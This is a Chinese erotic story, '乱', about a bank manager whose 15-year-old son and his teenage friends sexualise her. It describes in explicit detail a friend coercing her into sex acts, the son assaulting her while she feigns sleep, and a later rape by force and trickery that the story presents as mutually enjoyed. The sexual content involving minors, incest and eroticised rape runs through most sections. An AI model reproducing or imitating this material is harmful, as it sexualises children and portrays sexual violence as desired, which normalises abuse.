图片载入中

特大字】 【大字】 【中字】 【小字

标题:乱

作者:大姐姊

《乱》首部曲

《乱》续之章

**********************************************************************

前言:

掰多了武侠也想换换口味,试验性质的来一篇现代版的‘乱’,既然名称为‘乱’,内容当然也有点乱,喜欢的读友不妨看一看,不喜欢的略过即可,千万可别骂人,毕竟写文章只是疏发一些性幻想,是不能当真的。

**********************************************************************

(一)

德光任教多年,总算得偿夙愿当上了交换教授,虽然为期只有一年,但也足够他快慰平生了。

他俩可说是典型的师生恋,当时年已35的德光,仍是风度翩翩,一表人才,班上许多女生都暗恋着他;但德光却一眼看上了淑媛,淑媛20岁一毕业,就走进礼堂嫁给了他,如今一晃眼独子小钢已经15岁了,想起来还真是岁月如梭,时不待人。

淑媛婚后一年便生下小钢,直到小刚上小学,方考进银行工作,经过这些年的努力,竟然也干上了襄理。

168公分的身高,55公斤的体重,使她整体看来,充满高阶职业妇女的尊贵气质,与成熟风韵。

她温婉的个性,高雅的穿着,更普遍赢得同事与顾客的赞赏;经常有些二、三十岁的年轻小伙子,搞不清楚状况,或打电话或写情书的追求着她,一旦知悉她的身份与年龄,无不讶异万分,当场愣住。

同事们常将之引为笑谈,并替她取了个外号《万年青》。

独子小钢推荐甄试过了关,没了联考的压力,还没毕业已是到处玩乐,整天和他几个死党混在一块,假日更是不见人影,五十多坪的房子,经常只有她一个人在家,因此显得有些空荡荡的。

这天小钢又出去疯了,她一个人在家不免随便了些,洗过澡赤身露体的便站在梳妆台前,端详着镜中赤裸裸的身影。

只见镜中显现的是个三十上下的美妇,全身肌肤柔白细嫩,两个丰满的乳房傲然的挺立,淡红色的乳晕上,镶着一颗令人垂涎欲滴,樱桃般的乳头。

柔滑的小腹平坦结实,小腹下方的三角地带,一丛乌黑柔顺的阴毛,平整熨贴的蔓延在阴户四周。

她转过身来,镜中显现出白嫩丰耸的完美香臀;由臀部向下延伸,是一双浑圆挺直,光滑丰润的美腿。

镜中的美妇望着自己,显露出满意而自信的笑容。

小钢回到家已经是午夜时分,他蹑手蹑脚的欲待熘进房间,却见淑媛端坐在客厅沙发上。

他作贼心虚的道:“妈这么晚了,你还没睡啊?”

淑媛柔声道:“小钢,现在虽然是暑假期间,但是回来也不能太晚,否则妈会担心的。”

小钢嘻皮笑脸的,连连称是,一熘忽就闪进了自己房间。

同时还决定明天星期假日,要和小钢一块去游泳,顺便也认识一下他的几个死党。

小钢一听淑媛要一块去游泳,不禁面有难色,他为难的道:“妈!不要啦!这样同学会笑我啦!”

他苦苦哀求,撒娇耍赖的弄了半天,淑媛总算让了一步。

去还是要去,但和小钢装做不认识,也不打招唿,免得同学笑他长不大,游泳还要带妈妈。

她一出现,立即吸引住在场男性,带有侵略与贪婪的目光。

雍容俏丽的她,参加早泳会多年,泳技不凡,她充满自信的跃身入水,轻轻松松的便在池中游了两趟;但池中人多,拥挤无法尽兴,因此她游了会便起身,躺在池边的凉椅上休息做日光浴。

她游目四顾,见小钢和三个年龄相仿的男孩,比手画脚的聊天,不觉哑然失笑。

原来昨晚小钢曾告诉她三个死党的外号,大头、土豆及麻子,并简单的描述了一下他们的外貌。

淑媛的心情轻松愉快,小钢则刚好相反,他心中既懊恼又矛盾,因为三个死党兴致勃勃,口漠横飞,谈论的对象,正是他美丽性感的妈妈。

而他又不好意思说破,只得有一句没一句的凑合;三人愈说愈不像话,他的心情也愈形低落。

“哇靠!那马子真是性感,皮肤白,奶子大,我他妈的一看,小弟弟就一直涨起来,真是受不了!”

“你们他妈的光看有个屁用?我刚才故意游到她旁边,偷摸了她屁股一下,哇塞!不是盖的,又软又滑,真是乱爽一把的!”

小钢越听越不是味道,便粗声道:“拜托!那马子起码也有三十几了,你们他妈的缺乏母爱啊?不要讲了,去游泳啦!”

话一讲完,三个人笑得人仰马翻,顺势便将小钢推落水中,小钢趁便游了开去,心中真是有苦难言,一肚子大便。

他回头见三人又往母亲躺卧之处汇聚,不禁怒气冲天,心中又操又干的也不知骂了多少次,他不由自主的也靠近母亲卧处,双目紧盯,注视着三个好色的死党,生怕他们冲动下,对母亲做出什么不可预知的过份举动。

(二)

淑媛见小钢气鼓鼓的模样,不禁诧异,她柔声问道:“怎么啦?是不是跟同学吵架了?在游泳池不是还好好的?”

淑媛摸不着头脑,疑惑的道:“怎么怪我呢?我不是装做不认识你,也没有和你打招唿啊?”

小钢自己也觉得难以启齿,只得粗声粗气的道:“啊呀!没事啦!妈你不用担心啦!”

淑媛狐疑的看着将近180公分的独子,心中暗想:“难道青春期的小男生都是这般怪里怪气?”

今天在泳池中,透过死党的眼睛,与猥亵的话语,使他猛然惊觉,原来朝夕相处的母亲,竟然是个如此性感美丽、成熟妩媚的女人。

浴室传来“哗啦哗啦”的水声,他的内心也昇起一股异样的强烈渴求,他想要窥视母亲,丰美性感的裸身。他悄悄的趴伏在浴室的门边,从门下的斜型横格由下而上的向里窥视,紧张、激动、期待,使他的身体不由自主的颤抖了起来。

此时淑媛弯腰洗头,那鲜嫩樱红的阴户,就像个带毛的可口蜜桃,清清楚楚的落入他的眼中,他不由得想起,泳池中大头讲的那些猥亵话语:“……她下面的缝缝,看起来又紧又嫩,干!如果把小弟弟插进去,不知道会有多爽?……”

他飞快的读了几篇,不由又触动欲情,瞬间那年轻健壮的阳具,又迅猛的翘起180度,紧紧贴着他阴毛密布的小腹;他复行套弄,片刻之间竟然又泄了两次。他发泄了旺盛的欲火,方怀着一肚子猥亵淫秽的幻想,上床进入了梦乡。

小钢那三个死党,不久之后便知道那天泳池中的性感美妇,就是他的母亲,尴尬之余对小钢说道:“兄弟!对不起啦!不知者不罪嘛!如果不是你老妈,你还不是和我们一样,也是色咪咪的。好了啦!不要生气啦!大不了我们的老妈也让你看一看,亏一亏嘛!”。

小钢一听,想起大头那极端肥胖的母亲,不禁“哈”的一声,笑了出来;一边锤了大头一拳,一边笑道:“谁要看你老妈?你还是自己放在家里,慢慢欣赏吧!”

小钢和死党们重归于好,但母亲的规定又不能不遵,于是便经常将他们带回家中嬉戏玩乐,德光在家时也经常有学生来,大家都称淑媛为师母,三人依循旧例,便也“师母、师母”的乱叫。

淑媛见人多气旺,热热闹闹,便也不加反对;有时兴起,也和小鬼们一同胡闹一番。混熟了以后,虽然三个小鬼仍是逮到机会便向她的丰满身体乱看乱瞄,但久而久之,淑媛倒也不感觉他们充满淫秽的暧昧眼神,有什么大不了的。

这天四人偷窥过后,照旧紧锁房门在内比枪,到了兴头上,嘴里不免嘟嘟嚷嚷的扯些猥亵话语。到底独乐乐不如众乐乐,小钢听见死党对母亲的淫秽幻想,不但不以为杵,反倒有种格外激动的变态亢奋。

此时大头满脸暧昧的道:“小钢!我还真是佩服你哟!整天面对这么性感的老妈,你还能忍得住。要是我,早就把她给奸了!”

这天三人撇开小钢,聚在一块,开始七嘴八舌的埋怨起小钢。大头点子多,便要麻子土豆别吵,他说:“我们也不要怪小钢,他肯让我们偷看,已经很够意思了……”

话还没讲完,麻子便插嘴说道:“他妈的!他还不是想上他老妈,怕我们碍事。”

麻子土豆一听,眼睛瞪得老大,异口同声的道:“怎么可能?”大头摇头晃脑的道:“你们怎么这么笨?要是他真的上了老妈,难道不怕别人知道?好!就算他不怕,难道他老妈也不怕?只要我们捉到把柄,到时候他老妈就算不肯让我们上,嘿嘿!恐怕也不行。”说完就是一阵猥亵的淫笑。

三人想到淑媛的美好胴体,不禁都兴奋万分,七嘴八舌的又瞎扯了起来。

“嘿嘿!我倒要先舔她漂亮的脚趾头。妈的!你们一定都没注意,她那脚趾美的不得了,每一片指甲都白里透红像玉片一样,他妈的!看起来真是性感的要命,唉哟!想一想都爽死人了……”

“我操!你们真是暴殄天物,会不会搞嘛?当然是先和她亲吻,然后再舔她下面,最后才将硬梆梆的小弟弟插进她那暖暖、湿湿、嫩嫩、滑滑、软软的洞洞里……”

土豆不待大头说完,面红耳赤的大声道:“干!不要讲了啦!再讲都要喷到裤子上了。”

三人一阵嘻笑,兴高采烈的齐往大头家观赏色情光碟去啦!

(三)

德光出国已经两个多月了,淑媛健康成熟的身体,不免有些生理上的渴求。“女子重情,男子重欲”,结婚初期她对性的需求远不如对情的渴望;房事多半是德光主动要求,而她被动的配合。但最近几年,不知真是“三十如狼,四十似虎”,还是德光年龄大了,精力衰退;反而是她主动要求的次数较多,虽然德光仍卖力的表现,但她内心深处,却总有不能餍足的感觉。

网路聊天填补了她的空虚,也帮助她排遣无聊的时光。在虚拟的空间里,她可以肆无忌惮的放浪形骸,网路上那些大胆露骨的挑逗言语,在某方面适度疏解了她久经压抑的欲情;她竟然有股强烈的冲动,何不尝试一下目前氾滥风行的一夜情?

快要开学了,小钢趁暑假的最后一个礼拜天,约了死党一同到淡水逛逛,出发前接到土豆电话,说得了急性肠炎不能去了;大头抢过手机噼噼啪啪就调侃土豆一番,然后笑道:“你他妈的在家修养也好,不然你土理土气的,跟你在一起也满丢人的。”

小钢、麻子听了大笑,三人嘻嘻哈哈的,便搭上了开往淡水的捷运。

土豆来到小钢家,淑媛诧异的道:“你不是和小钢约好,一起去淡水吗?”

土豆道:“师母,我骗他们说得了肠胃炎,没一起去。”

淑媛不解的道:“为什么呢?”

淑媛一听更觉迷惑,不禁问到:“你要师母帮什么忙?是不是要用钱?”

土豆胸有成竹的道:“师母,我不缺钱,我今天是来请师母替我治病的。”

淑媛越听越迷煳,不禁道:“师母是在银行上班,不是在医院,你是不是记错了?”

他看了淑媛一眼又继续的说:“我翻过心理学的书籍,书上说,除非能彻底满足一次心中的欲望,否则一辈子也不会好。所以我今天来,是想请师母答应,让我舔师母漂亮的脚,只要一次就好,希望师母能帮忙,达成我的愿望,治好我的心病。”话一说完,竟然屈膝跪在淑媛的跟前。

淑媛听罢只觉匪夷所思,全身都起了鸡皮疙瘩,一时之间竟当场愣住,也不知要将那双全世界最漂亮的脚藏至何处。

淑媛在他再三哀求下,也不知如何是好,况且他虽然态度谦卑,但眼神中却显露出一股,不达目的誓不甘休的坚毅。这土豆起码有175公分,又粗粗壮壮的,自己一个人在家可不能激怒他,否则出了事,吃亏的还是自己,当下只得无奈的道:“土豆,你说的,只有一次呕!”

土豆一听见这话,喜出望外,连声道:“师母!我发誓!只要一次,只要一次。”

淑媛下身穿着短裙,为防春光外泄,慌忙将大腿夹紧,但土豆跪在身前,又捧起她的小腿,因此不论如何遮掩,裙底风光仍不时的落入土豆泛红的眼中。

淑媛的足部肌肤,呈现出白里透红的健康血色,纤细光滑的脚趾也是骨肉均亭,密闭合拢;那有如粉红色玉片般的指甲,平平整整晶莹剔透的贴附其上;整个脚掌也棉软细滑,毫无瑕疵。这一方面,是天生使然;另一方面,也有赖平日持之以恒的保养。

那种似痒非痒,由浅入深的奇妙感受,似搔抓又似捏掐,像虫行又像蚁爬。淑媛感到丝丝透骨的酥麻,竟循足趾迅速而强烈的蔓延至下阴,那种莫名的搔痒感,使她几乎忍不住,想要伸手搔摸那已形湿润的阴户;但土豆就在身前,她又怎能做此不雅、又具挑逗性的举动?

竭力忍耐之下,她原本端然的坐姿不知不觉间已成了仰躺的姿态,紧夹的双腿也逐渐的分了开来。感觉益发的强烈敏锐,她喉间禁不住流泄出荡人的呻吟。

土豆突然站了起来,将运动裤拉下,淑媛不禁大吃一惊,他里面竟然未穿内裤!那高翘的阳具虽不长,但却如同洋火腿一般的粗大。淑媛吓坏了,惊惧的望着他。

土豆两眼尽赤,沙哑的道:“师母,对不起!我实在忍不住了。不过你不要怕,我不会对你怎么样,我只要你用脚帮我弄出来。”

土豆坐在淑媛对面的茶几上,要淑媛仰靠沙发,两腿抬高曲起分开,两个脚掌足心相对,伸至自己胯间夹住那粗壮的阳具;然后他握住淑媛棉软的双足,缓缓的搓揉磨擦了起来。

淑媛只觉足心间火热的肉棒,不断的颤栗膨胀,粗糙的阴毛也搔的脚底痒兮兮的;从所未有的怪异方式,带给她一种另类奇妙的感受。仿佛之间,足心和阴道竟似产生了神奇的替换功能,她感觉土豆粗壮的阳具,就像是插入自己的阴道一般,下体也阵阵抽搐,发出了交合时才有的特殊快感。

但仅仅一次的发泄,对于精力旺盛的青少年而言,是无法满足的,土豆夹在淑媛柔嫩足心间的粗壮阳具,根本未曾软透却已再度硬起,充满欲火的双眼,也向淑媛嫩白的大腿根处搜寻。由于淑媛仍是足心相对的姿势,因此两腿大大的张开,她那紧裹下身,湿透了的白色三角裤,清清楚楚的映出乌黑的阴毛,及那条鲜嫩紧窄的小沟。

一阵急遽的门铃声,惊醒了性欲勃发的土豆,也解救了陷入绝境的淑媛。土豆神色大变,慌慌张张的拉起裤子,一熘烟的就跑出门去了。

淑媛拿起对讲机,原来是快递公司送东西来。她处理完毕,立刻进入浴室,将全身上下洗了个干干净净,尤其是那双玉足,更起码重复搓洗了十次以上。当晚躺在床上,土豆的怪异行径与粗壮阳具,仍不时的在她脑际,萦回荡漾。

(四)

当晚一阵猛烈的天摇地动,惊醒睡梦中的淑媛,她慌张的惊声尖叫,并往小钢的房间奔跑;小钢梦中惊醒,立刻也循声奔去,两人在漆黑中撞成一团。

位居12楼的他俩,就像船行巨浪一般,东倒西歪,站不住脚,家俱的跌落声、玻璃的碎裂声、墙壁内部钢筋的撕扯声,吓得两人紧紧搂抱,颤抖连连,强震持续了将近一分钟,感觉上却像是永无止歇。

事发仓促,小钢仅着内裤,淑媛薄薄的睡袍下也只穿有一条紧小的棉质三角裤,两人肌肤密接,相偎相拥。淑媛惊吓过度无暇顾及其他,反倒是在儿子强壮的臂膀簇拥下,觉得有相当的安全感,迷迷煳煳地竟睡着了。

小钢则不然,淑媛的身体飘散出阵阵幽香,胴体又柔软嫩滑,他年青的阳具早已坚硬的勃起,并且紧紧的顶住淑媛棉软的小腹。

受到雄性的本能趋使,他自然的将手放置在淑媛丰满的酥胸上轻轻抚摸了起来,初次接触女性身体的他,对于那种微妙异样的触觉快感,几乎有种失真的感觉,他甚至于怀疑,自己到底是不是正在作梦。

阳具在多肉的股沟间磨蹭,手中又触摸母亲柔软嫩滑的乳房,不一会功夫,大量的精液已喷射而出,此时又是一阵强烈的余震,淑媛一惊而醒,只觉小钢紧搂自己一阵哆嗦,既而也觉得自己屁股上湿漉漉的。

她直觉想到,小钢大概惊吓过度尿裤子了,便强抑心中恐慌,转过身搂住小钢,并将他的头按往自己饱满的胸脯上,拍着他的背部道:“小钢,不要怕,一会就没事了。”

余震持续了一个多星期,震得人心惶惶,因此小钢每天也都陪着淑媛睡。

在他而言,这简直是求之不得的天赐良机;他虽然没什么偷香窃玉的经验,但情色网站上多了,却也累积了不少鬼点子。最简单的一招就是装睡,然后故意翻身搂抱触摸母亲,这一招屡试不爽,就算他阳具翘起为母亲察觉,母亲也会认为这是睡梦中的自然生理反应,不会怪罪于他。

小钢会装睡,淑媛又何尝不会?

这些日子里,因为害怕所以母子均相伴而眠,睡梦中小钢经常翻身搂着她,使她内心产生一股异样的颤栗。

佯睡中,小钢常碰触她敏感的部位,那种揉搓抚摸的动作,让她很难相信,这是小钢睡梦中无意识的举动。但虽然如此,她又怎么能戳破呢?况且那些动作也使她饥渴的身体产生快感,潜意识里,她也舍不得放弃。

因此在这种情形下,每遇到小钢装睡轻薄她时,她也顺其自然的暗中默默配合,有几次小钢将坚硬的阳具顶在她下体部位磨蹭,她也顺势紧贴,并蠕动自己的下体,结果小钢舒服的泄在裤子里,而她也变相的达到了高潮。

小钢不知淑媛已然知其装睡内情,仍不时重施故计,他心中暗想:“妈妈睡得也真熟,我这样搂她摸她,她都没有醒过来;最过瘾的是妈妈在睡梦中,身体还会扭来扭去,弄得自己舒服得要命,实在是太爽了!”

习惯成自然,两人不知不觉中,似乎都上了瘾;余震虽已若有似无,但小钢却依然赖着和淑媛一块睡,反正淑媛没开口要他回去,他也就乐的继续装傻。

母子二人各自矜持,也各怀鬼胎,彼此都不敢跨越雷池一步,却也不想让这种暧昧的不当行为,就此结束。

小钢依然偷窥淑媛洗浴,而淑媛发现后,却假作不知。她反而怀着母亲逗弄孩子的心理,故意的将自己丰满性感的部位充分的暴露在最佳的观赏位置;那种微妙败德的暴露感,填补了她心灵深处另类的餍足。

在这种情形下,小钢自也看得血脉贲张,不亦乐乎。

这天淑媛有应酬,晚上十点多才回到家,她见到主浴室的门关着,却不闻水声,不觉有些诧异;因为家中有两套半卫浴设备,如果上厕所,一般是不用主浴室的。

原来小钢竟然全身赤裸的在里面手淫,淑媛窥看时他正濒临发射边缘;只见他左手握住粗长的阳具,不停的快速套弄,右手则拿着一条淑媛换下未洗的白色内裤,放置鼻端嗅闻;瞬间只见他臀部夹紧向前挺了挺,一股浓浊的精液,已疾射而出,喷洒至浴室的墙壁。

上回土豆暴露出的阳具,已经让她吃惊不已,但相较于小钢,其粗细程度差可比拟,至于长度,则无疑是小巫见大巫了。她心中不由想到:“如果小钢这样的东西进入体内,那岂不是……”

淑媛忽略了青少年对性的强烈渴求,也低估了自己内心潜藏的欲望,她像所有事业成功的女性一般,充满了自信,也过分高估了自己掌握控制的能力。

周日小钢逛书店回来,淑媛正在午睡,她侧卧蜷曲身体,搂抱着棉被,睡袍襟摆向上卷起,臀部及整个大腿都裸露在外;那纯白的蚕丝三角裤,紧绷在浑圆肉感白嫩嫩的屁股上,真是说不出的迷人。

只见那圆润丰盈的美腿,柔细嫩白毫无瑕疵,不但一个疤痕都没有,就连毛孔都微不可见;通体观来,较之蚕丝多了份粉红,比诸象牙却又添了些白皙,小钢看得神摇意驰。

他目光上移,正对着大腿根部隆起之处,只见内裤包裹之处现出一团乌黑,三两丝阴毛脱颖而出,更衬的肌肤雪样的洁白。

他忍不住凑上鼻端,轻嗅了两下,一股微骚的异香立刻激起他炽烈的情欲,他迅快的褪下衣裤,赤裸裸地挨近了母亲的身边。

正犹豫之时,小钢竟然将她臀部抬起,飞快的扯下了她的内裤,而她睡觉又习惯不戴胸罩,如此一来,她全身除了薄薄的睡袍外,实已形同赤裸;在这种情况下,如遽尔醒来岂不是尴尬万分?因此,她只得硬着头皮继续装睡。

小钢见情况超乎寻常的顺利,不禁大喜过望,他一伏身,嘴唇便凑上淑媛的阴户,大力的舔了起来。淑媛许久未尝此道,顿时之间如同触电,下体麻、痒、酸、酥、爽真是五味杂陈,快活无比。

但此时小钢实已是欲火如焚不可遏抑,箭在弦上不得不发;他虽然听到淑媛唿叫,却充耳不闻,反而大力的压制住淑媛晃动的双腿,更加疯狂的舔吮淑媛那已形湿润的阴户。

敏感部位遭受侵袭,她几乎舒服的无法动弹,她全身发软,下体渗出大量的淫水,阴门也湿湿滑滑的,完成了交合的准备。

(五)

性欲勃发的小钢,无视于母亲的斥责与反抗,他蛮劲发作,将淑媛挣动的双腿紧紧抓住,并大力的往淑媛的面部方向压去。

淑媛的身体就好像练瑜伽术一般,折叠了起来,浑圆修长的一双美腿也紧贴身体两侧,她不但无法再行反抗,也根本无法动弹。

此种姿势使得淑媛的阴户,彻底的暴露出来,两片阴唇也因此而紧绷分开,乌黑的阴毛沾上了湿滑的淫水,显得格外的油光水亮。

他一时之间,竟舍不得破坏那和谐的完美性,因此并未急于插入,反而挺动他那巨大的画笔,顺着滑熘的小沟,作起平行运动。

火热粗壮的阳具在淫水的润滑下,顺畅的沿着淑媛的股沟、阴户直顶至敏感的阴核;如此往复来回,不过数趟,淑媛已是欲火如焚难以忍耐。

只见她粉脸通红、两眼朦胧、檀口轻开、娇声急喘,眉稍眼角尽是春意,实是说不出的淫靡荡人。

他再也忍不住了,当龟头滑行至阴户时,他调整角度,转而向下,只听噗吱一声,坚硬粗大的阳具,终于划开那两片柔嫩的阴唇,深深的顶进了淑媛那空虚寂寞,极度饥渴的湿滑嫩穴。

小钢这一下,顶的深、插的紧,阳具被团团的嫩肉包裹得密密严严,毫无空隙;年轻的肉棒在鲜美成熟的蜜穴中,竟配合的完美无缺,如鱼得水。

他只觉穴内暖暖、湿湿、紧紧、滑滑,一时之间,他全身的神经细胞似乎都集中在阳具上,使他充分感受到进入女体的那种,销魂蚀骨的快乐滋味。

但敏感的身体,却偏偏背道而驰,不但涌出大量淫水,作好了交合的准备,还一再的以骚痒、酥麻等感官刺激来逼迫她就范。

她整个人似乎被切割成两半;一半叫她竭力抗拒,另一半却要她纵情淫欲,双方相持不下,却由于外力的入侵,而改变了均势。

小钢粗长的阳具,迅雷不及掩耳的进入了她的体内,瞬间带来的多重感受,实在难以形容。

此时小钢放开压制的双手,她的身体也重新获得了自由;火热粗大的阳具,将她的阴道撑得胀澎澎的,不断抖动颤栗的龟头,也像个鼓槌般的叩击子宫颈,锥心蚀骨的快感由内而外的扩散,她舒服的简直忘了身在何处;但残存的理智却也带给她无与伦比的羞愧,在复杂矛盾的情绪冲击下,晶莹的泪珠滑下了她俏丽的面颊。

小钢开始抽动起来,淑媛一边啜泣,一边断断续续的道:“不行啊!小……钢……不……行……啊……小……钢……”

他疯狂的抽动,片刻即达发射的边缘,毕竟年轻无经验的他,在耐久力上还是需要多加锻练的。

淑媛在一波波的强力冲刺下,快感如潮水般的涌了上来,她即将在儿子年轻肉棒冲击下,到达销魂的巅峰。

小钢见淑媛情不自禁的媚态,巴不得挺枪再战个几百回合,但身体自然的机能,却非意识所能左右,平日可一再出精的肉棒,如今却不给面子的,硬是软了下去;看见母亲欲情未餍,黯然难过的神态,他不禁懊恼羞愧,觉得这真是人生最大的耻辱。

欲情未餍的淑媛猛地翻身而起,攫住小钢软垂的肉棒,一张口就含了进去,她又唆又舔的努力以赴,不一会功夫,肉棒立刻重新坚挺,她迫不及待的跨身而上,手一探握住了肉棒,白嫩嫩的屁股向前一耸一压,便将那粗大的肉棒,尽根吞没体内。

强烈的高潮终于来临,那种沛然莫之能御的舒爽,使得淑媛全身颤栗抖动不已,她一伏身死命的紧抱着小钢,嘴唇也凑上小钢肩头,狠狠的咬了下去。

小钢肩膀一阵剧痛,下体却说不出的舒服,截然不同的感受,使他再次的喷洒出精。他看着母亲娇艳的面庞,显现出极端满足后,那种希斯底里咬牙切齿的媚态,不禁打心底昇起一种骄傲的成就感。

激情过后的淑媛,悔恨、羞耻、愧疚一起涌上心头,她低声啜泣,目光也不敢正视小钢;她看着爱子齿印森然的肩膀,不禁爱怜的吐舌轻舔。

小钢看着母亲楚楚动人的神态,性感迷人的裸身,下体不由自主的又硬了起来,他抚摸着母亲白嫩丰耸的臀部,欲念再度勃勃的兴起。

(六)

如此不过一个礼拜,小钢便觉得受不了,他心想:“那天自己虽然是趁母亲熟睡时偷食禁果,但母亲明显的也很舒服,为什么事后却表现的这么冷淡?又故意的避开自己?”

年轻的他,那知问题的复杂性与严重性,他只单纯的认为母亲不爱他了,变心了,因此心理不由得对淑媛产生了怨怼之情。

淑媛的心情更是矛盾复杂,那天狂乱的激情,带给她从所未有肉欲飨宴,小钢年轻充满兽性的身体,彻底满足了她生理上的需求,那种充实愉悦的感觉,令她一想到,下体就会不自觉的一阵颤栗。

但是她终究是小钢的母亲啊!又怎么能不顾廉耻,一错再错的,继续这种乱伦的丑行呢?何况小钢之所以作出冲动行为,自己有意无意的挑逗纵容,也要负大部分的责任,因此虽然她的欲念更胜以往,也不得不强行压抑,俾免再次铸成大错。

小钢那里知道母亲心中的多重顾虑,他只单纯的想到,自己年轻的身体,需要母亲成熟胴体的抚慰。

已经领略过母亲曼妙风情的他,极度渴望再度拥抱,母亲那赤裸、丰满、肉感、嫩白的身躯。

这些日子母亲有意的疏离,憋得他欲火沸腾,再也无法忍受,他心中暗想:“无论如何,今天晚上一定要再和母亲……”

淑媛浴罢进房正待就寝,小钢仅着内裤闯了进来,他气唿唿的道:“妈!你为什么要躲我?是不是不爱我了?”。

淑媛见他一副伤心气愤模样,不觉心软,于是柔声说道:“小钢!你不要多心,妈妈怎么会不爱你,实在是最近事情多,太忙了……”

话还没说完,小钢就激动的打断,并愤愤不平的道:“乱讲!你那有忙,你明明就是讨厌我,不喜欢我!”说着说着,竟然呜呜咽咽的哭了起来。

淑媛见他这么大个人,还像小孩子一般的说哭就哭,不禁又好气又好笑,当下板下脸摆出严母的架式,恳切的说道:“小钢!你已经不小了,应该懂事了;有些事情妈妈也不好说,但总之我们是母子关系,这一点你不会不明白吧?”

小钢根本就听不进去,他任性的喊道:“我不管!我要妈妈像那天一样的爱我。”淑媛没想到,他竟然直截了当的就提出要求,一时之间满脸通红,呐呐的说不出话来。

小钢见状,得理不饶人的又道:“妈妈偏心!只爱爸爸不爱小钢,不然为什幺爸爸就可以抱妈妈,我就不行?”

小钢听了又顶了一句“为什么不可以?上回不是作了!你还不是很舒服!”

淑媛一听可真是气得冒火,这种人人都知,理所当然的事情,他竟然还要强辩;尤其可恶的是,竟然还拿上一回的事情来嘲讽自己,真是得了便宜还卖乖。

因此也就不高兴的道:“不可以就是不可以,不要再说了!你出去!”

他越想越不甘心,冲动之下,猛地一把就将淑媛推倒床上,紧接着就压在淑媛身上,淑媛吃了一惊,奋力挣扎,却又如何抵得住小钢的力大?

不一会功夫,淑媛睡袍内裤都被扯下,她赤裸裸的望着兽性大发,形同发情种马的独生爱子,不由惊惧万分。她情急之下,顺手拿起床头灯,乓的一声,就砸在小钢头上,小钢身子一歪,当场便倒在床上。

望着一动也不动的爱子,淑媛简直吓坏了,隔了半晌才伸手触探小钢鼻端,一探之下,她差一点晕倒,小钢竟然没了唿吸!她慌忙贴耳小钢胸膛,只听“噗通、噗通”的急促声响,心脏仍在强劲的跳动。

淑媛万万没想到,小钢除了装睡之外,还会装死;当她紧贴小钢的嘴唇吹气时,小钢突然将她抱住,舌头也趁机伸入她的口中。

这一连串的曲折起伏,使她紧绷的精神,彻底的崩溃,她全身颤抖,再也没有反抗的气力,也根本丧失了反抗的意图。

狡计得逞的小钢,亲吻着母亲柔软的嘴唇,吸吮着母亲香软滑腻的舌头,真是得意万分。

淑媛脑中一片空白,方才激烈的情绪起伏,使她余悸犹存。先是小钢失去理智强行侵犯;既而小钢被砸倒卧,形同死亡;忽而小钢又死中复活,搂抱自己轻薄。

这连串事件使她心力焦悴,整个人似乎陷入虚幻迷离的梦境,也暂时失去了行动能力。

再次失身于爱子的淑媛,一面默默享受着小钢卖力的耕耘,一面心中暗想:“小钢如此强悍冲动,日后定然继续纠缠,自己如不顺着他,难保不会出事;反正一年前已经结扎,没有怀孕的顾虑,不如豁出去尽情享乐,倒还省得操心。”

“噗吱、噗吱”的抽插声、急促的喘息声、荡人的呻吟声,使得屋内充满淫靡色欲的气氛;梳妆台的大镜中,映出一副春色无边的画面。

稚气未脱的少年,正和成熟美貌的艳妇行云布雨疯狂作爱;少年天赋异禀,妇人丽质天生;天赋异禀抽插更见雄风,丽质天生娇啼益显婉转。

只见那妇人,雪白肌肤浑似雪,风骚更赛潘金莲;她嫩白的大腿高高翘起,一摇一摆的晃动,面部表情也是春意荡人,媚态横生。

不一会功夫,快感就像原子弹爆炸一般,将她轰上肉欲的高潮,她有如身处云端,飘飘荡荡的,就进入了那虚无缥缈,漫无边际的快乐天堂。

小钢温柔的亲吻着淑媛的樱唇,缓缓的抚摸淑媛的秀发,表现的就像个恰如其分的小情人;淑媛慵懒的陶醉在高潮的余韵中,心里真是百感交集。

小钢搓揉着淑媛白嫩硕大的乳房,撒娇的道:“妈!刚才你舒不舒服?你喜欢爸爸的,还是喜欢我的?”他边问边将自己粗大的阳具,置于淑媛的手中。

淑媛斜睨了他一眼,娇柔妩媚的道:“你说呢?”

《乱》之首部曲告终,谢谢观赏。

乱(续之章)

发言人:大姐姐

前情提要:

(一)

得到淑媛默许的小钢,充分发挥青少年精力旺盛的特长,不但夜夜都弄得淑媛欲仙欲死,每逢假日更是随时随地的缠着淑媛行淫取乐;客厅沙发、厨房流理台、厕所马桶、浴室浴缸、书房书桌、乃至于后阳台,只要他性致一来,立刻就地搂抱淑媛纵情淫欲。

淑媛得到小钢年轻爱液的滋润,不但肌肤益发娇嫩,就连语调神情也都更显妩媚,她全身上下散发出一股浓浓的女人味,眉宇之间也洋溢着幸福的神采。同事们都知道她老公远在美国,不免调侃的问她,是不是有了婚外情?否则怎么会像恋爱中的女人一般,呈现出特殊迷人的风韵。淑媛总是笑而不答,同事们私下更是闲言闲语,说三道四。

大头找来麻子、土豆告以观察心得,麻子满脸兴奋的道:“他妈的!这小子艳福不浅,干!也不跟我们几个兄弟讲一声,乱不够意思的!”

土豆接着道:“大头!你不是说他如果上了,我们也有机会;那现在要怎么办?”

大头贼头贼脑淫秽的道:“他妈的!他又没告诉我,是我自己猜的;不过他老妈那么正点,你们又不是不知道?小钢那屁子每天偷看她洗澡,操!他能忍得住?我才不相信呢!”

话一说完,三人都嘻皮笑脸的一阵淫笑,感觉上似乎淑媛已是任凭摆布的掌中物一般。

银行业务扩展,准备设立分行,分行经理一职立即成为众人争夺的目标,论资格淑媛还排不上,但她外貌出众,颇得董事长及一干董事的好感,因此也将她列入候选名单。竞争对手不满,恐她后来居上,私下自是风言风语的说些闲话,传的最凶的就是说她和董事长有所暧昧,因此得以躐等幸进;为此淑媛亦深感困惑与苦恼。

分行筹备工作几近完成,经理人选也即将决定,各候选人均托关系讲人情,请客吃饭应酬不一而足,淑媛不谙此道,眼见他人逢迎拍马,心中不禁抑郁。

‘今晚七时,来来大饭店1203室。’

下了班淑媛匆忙回家,洗个澡换了衣服,便搭计程车赶赴来来饭店,进了房间只见董事长、总经理以及六位董事均已就座,于是慌忙告罪寒暄。董事长笑呵呵道:“不要客套啦!来!坐我旁边,今天也让我万年长青一下。”说罢拉开椅子让淑媛坐下。

